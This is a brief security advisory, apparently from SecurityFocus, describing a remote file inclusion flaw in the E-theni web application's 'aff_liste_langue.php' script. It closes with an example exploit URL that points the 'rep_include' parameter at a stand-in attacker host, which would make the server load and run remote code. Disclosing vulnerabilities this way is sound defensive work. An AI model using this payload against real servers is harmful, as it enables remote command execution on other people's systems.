source: https://www.securityfocus.com/bid/6970/info

E-theni may allow inclusion of malicious remote files. This is due to remote users being able to influence the include path of an external file ('para_langue.php') referenced by the 'aff_liste_langue.php' script. This could result in arbitrary command execution. 

http://www.example.com/admin_t/include/aff_liste_langue.php?rep_include=http://<attacker_site>/para_langue.php